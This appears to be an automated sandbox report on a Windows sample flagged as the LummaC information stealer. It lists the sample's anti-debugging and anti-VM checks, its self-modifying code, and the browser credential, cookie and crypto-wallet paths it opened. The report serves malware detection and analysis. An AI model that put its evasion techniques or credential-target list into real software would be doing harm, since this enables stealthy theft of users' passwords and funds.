Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6570390 second address: 657039D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657039D second address: 65703A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65704AE second address: 657053B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F9CAD0B9FD5h 0x0000000c pop eax 0x0000000d popad 0x0000000e nop 0x0000000f jmp 00007F9CAD0B9FCDh 0x00000014 push 00000000h 0x00000016 push C9A4E6D2h 0x0000001b jns 00007F9CAD0B9FCEh 0x00000021 add dword ptr [esp], 365B19AEh 0x00000028 adc si, D906h 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F9CAD0B9FC8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D2D75h], edx 0x00000051 push 00000003h 0x00000053 movzx esi, si 0x00000056 push 4C0E874Dh 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F9CAD0B9FCCh 0x00000062 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BE8AF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D935FD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DC15CB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DA7E19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E25830 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63EDD07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63EDDE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6592D78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 662E964 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 4220	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6104	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7164	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4820	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6304	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4304	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2414220651.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2059669872.0000000001184000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342271177.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407768214.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197852891.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2107938074.0000000005825000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2059669872.0000000001184000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342271177.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407768214.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197852891.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2407677443.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2407677443.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2107938074.0000000005825000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2414220651.0000000000D74000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2108150725.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2414220651.0000000000D74000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2197852891.00000000011CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.00000000011CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342387757.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342271177.00000000011CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.00000000011CD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5812, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2085113656.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: file.exe, 00000000.00000003.2085113656.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash",#Y5
Source: file.exe, 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
